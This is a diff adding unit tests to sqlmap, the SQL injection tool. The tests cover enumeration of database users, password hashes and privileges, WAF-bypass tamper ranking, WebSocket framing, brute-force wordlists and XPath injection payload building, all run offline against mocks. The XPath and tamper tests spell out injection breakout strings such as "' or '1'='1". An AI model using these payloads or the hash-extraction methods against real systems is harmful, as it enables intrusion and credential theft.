self.assertGreaterEqual(calls["n"], 1) + + # Paired non-empty case: same instance, fresh cache, real rows -> cache + # must repopulate with exactly those users. + umod.inject.getValue = lambda query, *a, **k: [["root"], ["guest"]] + kb.data.cachedUsers = [] + res2 = users.getUsers() + self.assertEqual(sorted(res2), ["guest", "root"]) + self.assertIn("root", kb.data.cachedUsers) + + # --- getCurrentUser ----------------------------------------------------- + + def test_get_current_user(self): + umod.inject.getValue = lambda query, *a, **k: "root@localhost" + users = Users() + kb.data.currentUser = "" + self.assertEqual(users.getCurrentUser(), "root@localhost") + self.assertEqual(kb.data.currentUser, "root@localhost") + + # --- isDba -------------------------------------------------------------- + + def test_is_dba_mysql(self): + umod.inject.getValue = lambda query, *a, **k: "root@localhost" + umod.inject.checkBooleanExpression = lambda query, *a, **k: True + users = Users() + kb.data.currentUser = "" + kb.data.isDba = None + self.assertTrue(users.isDba()) + + def test_is_dba_postgresql_false(self): + set_dbms("PostgreSQL") + umod.inject.checkBooleanExpression = lambda query, *a, **k: False + users = Users() + kb.data.isDba = None + self.assertFalse(users.isDba()) + + # --- getPasswordHashes -------------------------------------------------- + + def test_get_password_hashes_mysql(self): + # filterPairValues keeps length-2 rows -> {user: [hash]} + umod.inject.getValue = lambda query, *a, **k: [["root", "*ABC123"], ["guest", "*DEF456"]] + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("root", res) + self.assertIn("guest", res) + self.assertEqual(res["root"], ["*ABC123"]) + + def test_get_password_hashes_with_conf_user(self): + conf.user = "root@localhost" + umod.inject.getValue = lambda query, *a, **k: [["root", "*HASH"]] + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("root", res) + + def test_get_password_hashes_oracle(self): + set_dbms("Oracle") + conf.user = "system" + umod.inject.getValue = lambda query, *a, **k: [["SYSTEM", "ABCDEF1234567890"]] + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("SYSTEM", res) + # conf.user upper-cased for Oracle + self.assertEqual(conf.user, "SYSTEM") + + def test_get_password_hashes_current_user(self): + conf.user = CURRENT_USER + # First getValue resolves current user, subsequent ones return the rows. + def gv(query, *a, **k): + if "CURRENT_USER" in query.upper() or "current_user" in query: + return "root@localhost" + return [["root", "*HASH"]] + umod.inject.getValue = gv + users = Users() + kb.data.currentUser = "" + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("root", res) + + # --- getPrivileges ------------------------------------------------------ + + def test_get_privileges_mysql(self): + # MySQL with information_schema: privilege column added verbatim. + umod.inject.getValue = lambda query, *a, **k: [["root", "SUPER"], ["guest", "SELECT"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("root", privileges) + self.assertIn("SUPER", privileges["root"]) + self.assertIn("root", areAdmins) + self.assertNotIn("guest", areAdmins) + + def test_get_privileges_postgresql(self): + set_dbms("PostgreSQL") + from lib.core.dicts import PGSQL_PRIVS + # PGSQL: digit columns map to PGSQL_PRIVS by column index; col 1 == True. + idx = sorted(PGSQL_PRIVS.keys())[0] + row = ["pguser"] + ["0"] * (max(PGSQL_PRIVS.keys())) + row[idx] = "1" + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("pguser", privileges) + self.assertIn(PGSQL_PRIVS[idx], privileges["pguser"]) + + def test_get_privileges_oracle(self): + set_dbms("Oracle") + umod.inject.getValue = lambda query, *a, **k: [["SYS", "DBA"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("SYS", privileges) + self.assertIn("DBA", privileges["SYS"]) + self.assertIn("SYS", areAdmins) + + def test_get_privileges_with_conf_user(self): + conf.user = "root" + umod.inject.getValue = lambda query, *a, **k: [["root", "SELECT"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("root", privileges) + + # --- getRoles (delegates to getPrivileges) ------------------------------ + + def test_get_roles(self): + umod.inject.getValue = lambda query, *a, **k: [["root", "SUPER"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getRoles() + self.assertIn("root", privileges) + self.assertIn("root", areAdmins) + + +# --------------------------------------------------------------------------- # +# Privilege parsing / inference branches (relocated from test_generic_enum_more.py) +# --------------------------------------------------------------------------- # + +class _UsersBase(unittest.TestCase): + def setUp(self): + self._direct = conf.direct + self._technique = conf.technique + self._user = conf.user + self._gv = umod.inject.getValue + self._cbe = umod.inject.checkBooleanExpression + self._store = umod.storeHashesToFile + self._attack = umod.attackCachedUsersPasswords + self._readInput = umod.readInput + self._his = kb.data.get("has_information_schema") + self._injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = True + conf.user = None + kb.data.has_information_schema = True + + umod.storeHashesToFile = lambda *a, **k: None + umod.attackCachedUsersPasswords = lambda *a, **k: None + umod.readInput = lambda *a, **k: "N" + + def tearDown(self): + conf.direct = self._direct + conf.technique = self._technique + conf.user = self._user + umod.inject.getValue = self._gv + umod.inject.checkBooleanExpression = self._cbe + umod.storeHashesToFile = self._store + umod.attackCachedUsersPasswords = self._attack + umod.readInput = self._readInput + kb.injection.data = self._injection_data + if self._his is None: + kb.data.pop("has_information_schema", None) + else: + kb.data.has_information_schema = self._his + + def _inference(self): + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestUsersPrivilegesInband(_UsersBase): + def test_privileges_pgsql_multiple_digit_columns(self): + # PostgreSQL: privilege columns are digit flags; a column index maps to + # PGSQL_PRIVS only when its value is "1". Set createdb(1)=1 and super(2)=1, + # leave the rest 0; assert exactly those two privileges are parsed and that + # "super" makes the user an admin. + set_dbms("PostgreSQL") + from lib.core.dicts import PGSQL_PRIVS + ncols = max(PGSQL_PRIVS.keys()) + row = ["pguser"] + ["0"] * ncols + row[1] = "1" # createdb + row[2] = "1" # super + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["pguser"]), {PGSQL_PRIVS[1], PGSQL_PRIVS[2]}) + self.assertIn("pguser", areAdmins) + + def test_privileges_mysql_lt5_yn_flags(self): + # MySQL < 5 (no information_schema): privilege columns are 'Y'/'N' flags + # mapped to MYSQL_PRIVS by column position. Y in col 1 -> select_priv. + set_dbms("MySQL") + from lib.core.dicts import MYSQL_PRIVS + kb.data.has_information_schema = False + ncols = max(MYSQL_PRIVS.keys()) + row = ["root"] + ["N"] * ncols + row[1] = "Y" # select_priv + row[3] = "Y" # update_priv + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn(MYSQL_PRIVS[1], privileges["root"]) + self.assertIn(MYSQL_PRIVS[3], privileges["root"]) + self.assertNotIn(MYSQL_PRIVS[2], privileges["root"]) + + def test_privileges_firebird_letter_codes(self): + # Firebird: each privilege is a single letter mapped via FIREBIRD_PRIVS. + set_dbms("Firebird") + from lib.core.dicts import FIREBIRD_PRIVS + umod.inject.getValue = lambda query, *a, **k: [["fbuser", "S"], ["fbuser", "I"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["fbuser"]), + {FIREBIRD_PRIVS["S"], FIREBIRD_PRIVS["I"]}) + + def test_privileges_db2_grant_codes(self): + # DB2: privilege string is ","; each 'Y'/'G' letter at + # position i appends the DB2_PRIVS[i] name to the privilege. + set_dbms("DB2") + from lib.core.dicts import DB2_PRIVS + conf.user = "db2admin" + # "DBADM" plus a grant string whose first letter (position 1) is 'Y' -> + # DB2_PRIVS[1] ("CONTROLAUTH") is appended. + umod.inject.getValue = lambda query, *a, **k: [["DB2ADMIN", "DBADM,Y"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + joined = " ".join(privileges["DB2ADMIN"]) + self.assertIn("DBADM", joined) + self.assertIn(DB2_PRIVS[1], joined) + + +class TestUsersPrivilegesInference(_UsersBase): + def test_privileges_inference_mysql(self): + # Blind privilege enumeration for a named user: count, then one privilege + # string per index. MySQL >= 5 adds each verbatim. + set_dbms("MySQL") + self._inference() + conf.user = "root" + privs = ["SELECT", "SUPER"] + umod.inject.getValue = _inference_gv(2, privs) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + # the user key is wildcard-wrapped for the MySQL information_schema LIKE + key = [k for k in privileges if "root" in k][0] + self.assertEqual(set(privileges[key]), {"SELECT", "SUPER"}) + self.assertTrue(areAdmins) # SUPER => admin + + def test_privileges_inference_oracle(self): + set_dbms("Oracle") + self._inference() + conf.user = "system" + umod.inject.getValue = _inference_gv(1, ["DBA"]) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("SYSTEM", privileges) + self.assertEqual(privileges["SYSTEM"], ["DBA"]) + self.assertIn("SYSTEM", areAdmins) + + +class TestUsersPasswordHashesInference(_UsersBase): + def test_password_hashes_inference_grouping(self): + # Blind password-hash enumeration for two users: per-user count, then one + # hash per index. Assert each user maps to its own hash list. + set_dbms("MySQL") + self._inference() + conf.user = "root,guest" + + # per-user single hash; count is 1 for every user + hashes = {"root": "*ROOTHASH", "guest": "*GUESTHASH"} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "1" + for u, h in hashes.items(): + if u in query: + return [h] + return [None] + + umod.inject.getValue = gv + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*ROOTHASH"]) + self.assertEqual(res["guest"], ["*GUESTHASH"]) + + def test_password_hashes_inference_dedup(self): + # The same hash returned twice for a user must be de-duplicated at the end + # (kb.data.cachedUsersPasswords[user] = list(set(...))). + set_dbms("MySQL") + self._inference() + conf.user = "root" + umod.inject.getValue = _inference_gv(2, ["*DUP", "*DUP"]) + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*DUP"]) + + +class TestUsersGetUsersInference(_UsersBase): + def test_get_users_inference(self): + set_dbms("MySQL") + self._inference() + umod.inject.getValue = _inference_gv(2, ["root@localhost", "guest@%"]) + users = Users() + kb.data.cachedUsers = [] + res = users.getUsers() + self.assertEqual(sorted(res), ["guest@%", "root@localhost"]) + + def test_is_dba_mssql(self): + # MSSQL isDba goes through the generic checkBooleanExpression branch. + set_dbms("Microsoft SQL Server") + umod.inject.checkBooleanExpression = lambda query, *a, **k: True + users = Users() + kb.data.isDba = None + self.assertTrue(users.isDba()) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_utils.py b/tests/test_utils.py new file mode 100644 index 00000000000..b710169bcdc --- /dev/null +++ b/tests/test_utils.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core utility helpers: constant-time compare, numeric checks, safe formatting, +list/value normalization, randomness generators. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (safeCompareStrings, isDigit, isNumber, safeStringFormat, + filterNone, flattenValue, isListLike, unArrayizeValue, + arrayizeValue, randomStr, randomInt) + + +class TestSafeCompareStrings(unittest.TestCase): + def test_known(self): + self.assertTrue(safeCompareStrings("abc", "abc")) + self.assertFalse(safeCompareStrings("abc", "abd")) + self.assertFalse(safeCompareStrings("test", None)) + self.assertTrue(safeCompareStrings(None, None)) + self.assertFalse(safeCompareStrings("a", "ab")) # different length + + def test_property(self): + for s in ["", "a", "secret", "p@ss w0rd", "x" * 100]: + self.assertTrue(safeCompareStrings(s, s)) + self.assertFalse(safeCompareStrings(s, s + "x")) + + +class TestNumericChecks(unittest.TestCase): + def test_isDigit(self): + for v, exp in [("123", True), ("0", True), ("12a", False), ("", False), ("-1", False)]: + self.assertEqual(bool(isDigit(v)), exp, msg="isDigit(%r)" % v) + + def test_isNumber(self): + for v, exp in [("123", True), ("1.5", True), ("1e3", True), ("abc", False), ("", False)]: + self.assertEqual(bool(isNumber(v)), exp, msg="isNumber(%r)" % v) + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic(self): + self.assertEqual(safeStringFormat("%s-%d", ("a", 5)), "a-5") + self.assertEqual(safeStringFormat("%s/%s", ("x", "y")), "x/y") + + def test_survives_percent_in_value(self): + # the WHOLE point of safeStringFormat over plain `%`: a '%' inside an argument (common in + # payloads/URL-encoded values) must not blow up or be misread as a format spec. + # Plain "x=%s" % ("100%done",) would raise on re-evaluation; safeStringFormat must not. + self.assertEqual(safeStringFormat("x=%s", ("100%done",)), "x=100%done") + + +class TestListValueHelpers(unittest.TestCase): + def test_filterNone(self): + self.assertEqual(filterNone([1, None, 2, 0, "", None]), [1, 2, 0]) + self.assertEqual(filterNone([]), []) + self.assertEqual(filterNone([None, None]), []) + + def test_flattenValue(self): + self.assertEqual(list(flattenValue([[1, 2], [3, [4]]])), [1, 2, 3, 4]) + self.assertEqual(list(flattenValue([])), []) + self.assertEqual(list(flattenValue([1])), [1]) + + def test_isListLike(self): + from lib.core.datatype import OrderedSet + from lib.core.bigarray import BigArray + # isListLike is sqlmap-specific: it must recognize sqlmap's own list-like containers + # (OrderedSet, BigArray), not just builtin list/tuple - that's why it's not isinstance(list) + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(OrderedSet([1, 2]))) + self.assertTrue(isListLike(BigArray([1]))) + # and must reject str (the classic trap) and dict + self.assertFalse(isListLike("string")) + self.assertFalse(isListLike({"a": 1})) + + def test_arrayize_roundtrip(self): + self.assertEqual(unArrayizeValue([5]), 5) + self.assertIsNone(unArrayizeValue([])) + self.assertEqual(unArrayizeValue(7), 7) + self.assertEqual(arrayizeValue(5), [5]) + self.assertEqual(arrayizeValue([5]), [5]) + + +class TestRandomGenerators(unittest.TestCase): + def test_randomStr_length_and_alphabet(self): + for n in (1, 4, 16, 50): + self.assertEqual(len(randomStr(n)), n) + for _ in range(200): + self.assertTrue(all("a" <= c <= "z" for c in randomStr(20, lowercase=True))) + alpha = list("ABC") + for _ in range(200): + self.assertTrue(all(c in alpha for c in randomStr(20, alphabet=alpha))) + + def test_randomStr_is_actually_random(self): + # guard against a hardcoded/constant return: 20-char strings must (essentially) never collide + samples = set(randomStr(20) for _ in range(100)) + self.assertEqual(len(samples), 100, msg="randomStr produced collisions - not random?") + + def test_randomInt_digits(self): + for n in (1, 3, 6): + lo, hi = 10 ** (n - 1), 10 ** n + for _ in range(200): + v = randomInt(n) + self.assertEqual(len(str(v)), n) # exactly n digits + self.assertTrue(lo <= v < hi, msg="randomInt(%d)=%d out of [%d,%d)" % (n, v, lo, hi)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_wafbypass.py b/tests/test_wafbypass.py new file mode 100644 index 00000000000..9e69ef25ada --- /dev/null +++ b/tests/test_wafbypass.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +T1 - automatic WAF-bypass tamper selection (lib/utils/wafbypass.py). These cover the pure, +offline pieces: the identYwaf blind-signature decoder (which provocation vectors a known WAF +blocks), the data-ranked / DBMS-filtered / identYwaf-pruned candidate ordering, and the runtime +tamper loader. The end-to-end "adopt a tamper that restores detection" behaviour is exercised by +the --auto-tamper vuln-test case (lib/core/testing.py) against the vulnserver WAF emulator. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.wafbypass import candidateTampers, identYwafBlockedVectors, loadTamper + + +class TestIdentYwafDecoder(unittest.TestCase): + def test_known_waf_decodes_to_blocked_vectors(self): + # cloudflare has bundled blind signatures -> a non-trivial set of blocked vector indices, + # all within range of the 45 provocation vectors + blocked = identYwafBlockedVectors("cloudflare") + self.assertTrue(len(blocked) > 5) + self.assertTrue(all(isinstance(_, int) and 0 <= _ < 45 for _ in blocked)) + + def test_unknown_waf_is_empty(self): + self.assertEqual(identYwafBlockedVectors("definitely-not-a-real-waf"), set()) + self.assertEqual(identYwafBlockedVectors(None), set()) + + +class TestCandidateRanking(unittest.TestCase): + def test_structural_first(self): + cands = candidateTampers() + # the empirically strongest structural substitutions lead, ahead of camouflage + self.assertEqual(cands[0], "equaltolike") + self.assertIn("between", cands[:3]) + self.assertLess(cands.index("between"), cands.index("space2comment")) + + def test_no_dbms_prefiltering(self): + # DBMS compatibility is verified at runtime (detection re-run through the tamper), not here, + # so the full candidate set is offered regardless of any guessed back-end DBMS + cands = candidateTampers() + self.assertIn("versionedkeywords", cands) + self.assertIn("space2hash", cands) + self.assertIn("between", cands) + + def test_identYwaf_prior_prunes_camouflage(self): + # a WAF whose profile blocks comment-obfuscated vectors should have comment-insertion + # camouflage pruned (it cannot help there), while structural candidates survive + base = candidateTampers() + pruned = candidateTampers(identifiedWafs=["cloudflare"]) + self.assertIn("equaltolike", pruned) + self.assertNotIn("space2comment", pruned) + self.assertLessEqual(len(pruned), len(base)) + + +class TestLoadTamper(unittest.TestCase): + def test_loads_and_applies(self): + fn = loadTamper("between") + self.assertTrue(callable(fn)) + self.assertEqual(fn.__name__, "between") + # the loaded function is the real tamper transform + self.assertEqual(fn(payload="1 AND A>B"), "1 AND A NOT BETWEEN 0 AND B") + + def test_missing_returns_none_or_raises(self): + # a non-existent script must not silently yield a bogus callable + try: + self.assertIsNone(loadTamper("no_such_tamper_script_xyz")) + except Exception: + pass # an import error is also acceptable; what matters is no fake function + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_websocket.py b/tests/test_websocket.py new file mode 100644 index 00000000000..6091229a621 --- /dev/null +++ b/tests/test_websocket.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native WebSocket client in +lib/request/websocket.py: the RFC 6455 accept-key computation, client frame masking, +the length-encoding boundaries (7/16/64-bit), fragment reassembly and control-frame +handling. No socket is opened - frames are fed through a primed buffer and a fake sink. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import base64 +import hashlib +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.websocket import ( + WebSocket, + WebSocketConnectionClosedException, + WebSocketTimeoutException, + _GUID, + OPCODE_TEXT, + OPCODE_CONTINUATION, + OPCODE_PING, + OPCODE_CLOSE, +) + + +class _FakeSock(object): + """Captures everything the client sends, so masked client frames / PONGs can be inspected.""" + def __init__(self): + self.sent = b"" + + def sendall(self, data): + self.sent += data + + def close(self): + pass + + +def _serverFrame(data, opcode=OPCODE_TEXT, fin=1): + """Build an (unmasked, server->client) frame carrying data.""" + if not isinstance(data, bytes): + data = data.encode("utf-8") + frame = bytearray([(fin << 7) | opcode]) + length = len(data) + if length < 126: + frame.append(length) + elif length < 65536: + frame.append(126); frame += struct.pack("!H", length) + else: + frame.append(127); frame += struct.pack("!Q", length) + frame += data + return bytes(frame) + + +def _client(buffer=b""): + ws = WebSocket.__new__(WebSocket) # bypass connect(): no socket + ws.sock = _FakeSock() + ws.status = 101 + ws._headers = {} + ws._timeout = None + ws._buffer = buffer + ws._closed = False + return ws + + +class TestWebSocket(unittest.TestCase): + def test_accept_key_rfc6455_vector(self): + # RFC 6455 section 1.3 canonical example + key = "dGhlIHNhbXBsZSBub25jZQ==" + accept = base64.b64encode(hashlib.sha1((key + _GUID).encode("ascii")).digest()).decode("ascii") + self.assertEqual(accept, "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=") + + def test_client_frame_is_masked_and_roundtrips(self): + ws = _client() + ws._sendFrame(b"hello", OPCODE_TEXT) + raw = ws.sock.sent + self.assertEqual(bytearray(raw)[0], 0x80 | OPCODE_TEXT) # FIN + text + self.assertTrue(bytearray(raw)[1] & 0x80, "client frame must set the mask bit") + + # feeding the client's own (masked) frame back through the parser must recover the payload + fin, opcode, payload = _client(raw)._recvFrame() + self.assertEqual((fin, opcode, bytes(payload)), (1, OPCODE_TEXT, b"hello")) + + def test_length_encoding_boundaries(self): + for size in (125, 126, 65535, 65536): + ws = _client() + ws._sendFrame(b"A" * size, OPCODE_TEXT) + fin, opcode, payload = _client(ws.sock.sent)._recvFrame() + self.assertEqual(len(payload), size, msg="round-trip failed at length %d" % size) + + def test_recv_reassembles_fragments(self): + buf = _serverFrame("ab", OPCODE_TEXT, fin=0) + _serverFrame("cd", OPCODE_CONTINUATION, fin=1) + self.assertEqual(_client(buf).recv(), "abcd") + + def test_recv_answers_ping_then_returns_data(self): + ws = _client(_serverFrame("hi", OPCODE_PING) + _serverFrame("data", OPCODE_TEXT)) + self.assertEqual(ws.recv(), "data") + # a PONG (opcode 0xA) carrying the ping payload must have been sent back + pong = bytearray(ws.sock.sent) + self.assertEqual(pong[0], 0x80 | 0xA) + + def test_recv_close_raises(self): + ws = _client(_serverFrame(struct.pack("!H", 1000), OPCODE_CLOSE)) + self.assertRaises(WebSocketConnectionClosedException, ws.recv) + + def test_read_timeout_maps_to_ws_timeout(self): + import socket as _socket + import ssl as _ssl + + class _RaisingSock(object): + def __init__(self, exc): + self.exc = exc + def recv(self, n): + raise self.exc + + # both a plain socket timeout and Python 2's TLS 'read operation timed out' must surface as + # WebSocketTimeoutException (sqlmap's frame loop relies on it), while other SSL errors propagate + for exc in (_socket.timeout("timed out"), _ssl.SSLError("The read operation timed out")): + ws = _client(); ws.sock = _RaisingSock(exc) + self.assertRaises(WebSocketTimeoutException, ws.recv) + + ws = _client(); ws.sock = _RaisingSock(_ssl.SSLError("decryption failed")) + self.assertRaises(_ssl.SSLError, ws.recv) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_wordlist.py b/tests/test_wordlist.py new file mode 100644 index 00000000000..9b6d842a45c --- /dev/null +++ b/tests/test_wordlist.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Wordlist iterator (lib/core/wordlist.py). + +Backs dictionary attacks (--common-tables, password cracking, brute force): a +lazy iterator that streams words across one or more files (and zip archives) +without loading them into RAM. Tested for ordering, multi-file chaining, +rewind, and end-of-stream behavior over real temp files. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.wordlist import Wordlist + + +def _mkfile(lines): + fd, path = tempfile.mkstemp() + os.write(fd, ("\n".join(lines) + "\n").encode("utf-8")) + os.close(fd) + return path + + +def _w(s): + # Wordlist yields native str on py2 but bytes on py3 (words are fed straight into HTTP payloads) + return s.encode("utf-8") if sys.version_info[0] >= 3 else s + + +def _drain(w): + out = [] + try: + while True: + out.append(next(w)) + except StopIteration: + pass + return out + + +class TestWordlist(unittest.TestCase): + def setUp(self): + self.paths = [] + self.wordlists = [] + + def tearDown(self): + for w in self.wordlists: # close open file handles (else ResourceWarning on py3) + try: + w.closeFP() + except Exception: + pass + for p in self.paths: + if os.path.exists(p): + os.remove(p) + + def _mk(self, lines): + p = _mkfile(lines) + self.paths.append(p) + return p + + def _wl(self, files): + w = Wordlist(files) + self.wordlists.append(w) + return w + + def test_single_file_order(self): + w = self._wl([self._mk(["alpha", "beta", "gamma"])]) + self.assertEqual(_drain(w), [_w("alpha"), _w("beta"), _w("gamma")]) + + def test_multiple_files_chained(self): + w = self._wl([self._mk(["a", "b"]), self._mk(["c", "d"])]) + self.assertEqual(_drain(w), [_w("a"), _w("b"), _w("c"), _w("d")]) + + def test_rewind_restarts(self): + w = self._wl([self._mk(["one", "two"])]) + self.assertEqual(next(w), _w("one")) + self.assertEqual(next(w), _w("two")) + w.rewind() + self.assertEqual(next(w), _w("one")) + + def test_end_raises_stopiteration(self): + w = self._wl([self._mk(["only"])]) + self.assertEqual(next(w), _w("only")) + self.assertRaises(StopIteration, lambda: next(w)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_xpath.py b/tests/test_xpath.py new file mode 100644 index 00000000000..99903382ada --- /dev/null +++ b/tests/test_xpath.py @@ -0,0 +1,446 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the XPath injection engine. Mock oracles stand in for the +HTTP/lxml layer so detection, fingerprinting, blind inference, payload building, and output +formatting can be exercised without a live target. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.xpath.inject as xpath + + +SENTINEL = xpath.SENTINEL + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(xpath._ratio("abc", "abc"), 0.9) + self.assertLess(xpath._ratio("abc", "xyz"), 0.5) + + def test_delim(self): + from lib.core.enums import PLACE + self.assertEqual(xpath._delim(PLACE.GET), '&') + self.assertEqual(xpath._delim(PLACE.COOKIE), ';') + + def test_is_error(self): + self.assertTrue(xpath._isError("javax.xml.xpath.XPathExpressionException: error")) + self.assertTrue(xpath._isError("lxml.etree.XPathEvalError: Invalid expression")) + self.assertFalse(xpath._isError("normal page content")) + + def test_backend_from_error(self): + self.assertIsNotNone(xpath._backendFromError("lxml.etree.XPathEvalError: Invalid expression")) + self.assertIsNotNone(xpath._backendFromError("System.Xml.XPath.XPathException: has an invalid token")) + self.assertIsNone(xpath._backendFromError("normal page")) + + def test_is_password_param(self): + self.assertTrue(xpath._isPasswordParam("password")) + self.assertTrue(xpath._isPasswordParam("pass")) + self.assertFalse(xpath._isPasswordParam("username")) + + def test_xpath_quote(self): + self.assertEqual(xpath._xpathQuote("hello"), "'hello'") + self.assertEqual(xpath._xpathQuote("it's"), "\"it's\"") + self.assertEqual(xpath._xpathQuote('say "hi"'), "'say \"hi\"'") + both = "it's \"great\"" + q = xpath._xpathQuote(both) + self.assertIn("concat", q) + + def test_make_payload_with_suffix(self): + b = xpath.Boundary("') or ", " or ('", True) + p = xpath._makePayload("x", b, "starts-with(name(/*),'d')") + self.assertEqual(p, "x') or starts-with(name(/*),'d') or ('") + + def test_make_payload_no_suffix(self): + b = xpath.Boundary("' or ", "", True) + p = xpath._makePayload("x", b, "1=1") + self.assertEqual(p, "x' or 1=1") + + def test_make_payload_with_suffix_only(self): + b = xpath.Boundary("' or ", " and '1'='1", True) + p = xpath._makePayload("x", b, "1=1") + self.assertEqual(p, "x' or 1=1 and '1'='1") + + +class TestBoundaryTable(unittest.TestCase): + def test_all_entries_in_boundary_lookup(self): + for bk in xpath.XPATH_BREAKOUT_PREFIXES: + self.assertIn(bk, xpath._BREAKOUT_BOUNDARY, + "Breakout '%s' not found in _BREAKOUT_BOUNDARY" % bk) + + def test_function_arg_boundaries_are_extractable(self): + for bk in ("') or true() or ('", "') or '1'='1' or ('", "') or 1=1 or ('"): + b = xpath._BREAKOUT_BOUNDARY[bk] + self.assertTrue(b.extractable) + self.assertTrue(len(b.prefix) > 0) + self.assertTrue(len(b.suffix) > 0) + + def test_simple_string_boundaries_have_suffix(self): + for bk in ("' or '1'='1", "' or true() or '", "' or 1=1 or '", + '" or "1"="1', '" or true() or "'): + b = xpath._BREAKOUT_BOUNDARY[bk] + if b is not None: + self.assertTrue(b.extractable) + self.assertTrue(len(b.suffix) > 0, + "Simple string breakout '%s' needs a suffix to absorb the trailing quote" % bk) + + def test_union_wildcard_is_not_extractable(self): + b = xpath._BREAKOUT_BOUNDARY.get("']|//*|test['") + self.assertIsNone(b, "Union wildcard must not have an extraction boundary") + + def test_numeric_has_leading_space(self): + for bk in (" or 1=1", " or true()"): + self.assertTrue(bk.startswith(" "), + "Numeric breakout '%s' needs leading whitespace" % bk) + b = xpath._BREAKOUT_BOUNDARY[bk] + self.assertTrue(b.extractable) + + def test_all_extractable_have_prefix(self): + for bk, b in xpath._BREAKOUT_BOUNDARY.items(): + if b is not None: + self.assertTrue(len(b.prefix) > 0, + "Extractable boundary for '%s' needs a prefix" % bk) + + +class TestPayloadBuilder(unittest.TestCase): + def setUp(self): + self.boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + self.builder = xpath._XPathPayloadBuilder("x", self.boundary) + + def test_name_starts_with(self): + p = self.builder.nameStartsWith("/*", "d") + self.assertIn("starts-with(name(/*)", p) + self.assertIn("'d'", p) + + def test_name_length(self): + p = self.builder.nameLength("/*", 9) + self.assertIn("string-length(name(/*))=9", p) + + def test_child_count(self): + p = self.builder.childCount("/*", 3) + self.assertIn("count(/*/*)>=3", p) + + def test_attribute_count(self): + p = self.builder.attributeCount("/*[1]", 2) + self.assertIn("count(/*[1]/@*)>=2", p) + + def test_text_starts_with(self): + p = self.builder.textStartsWith("/*[1]/*[1]", "lut") + self.assertIn("starts-with(string(/*[1]/*[1])", p) + + def test_empty_prefix(self): + p = self.builder.nameStartsWith("/*", "") + self.assertIn("''", p) + + def test_uses_boundary_not_hardcoded(self): + p = self.builder.nameStartsWith("/*", "d") + self.assertNotIn("contains(username", p) + 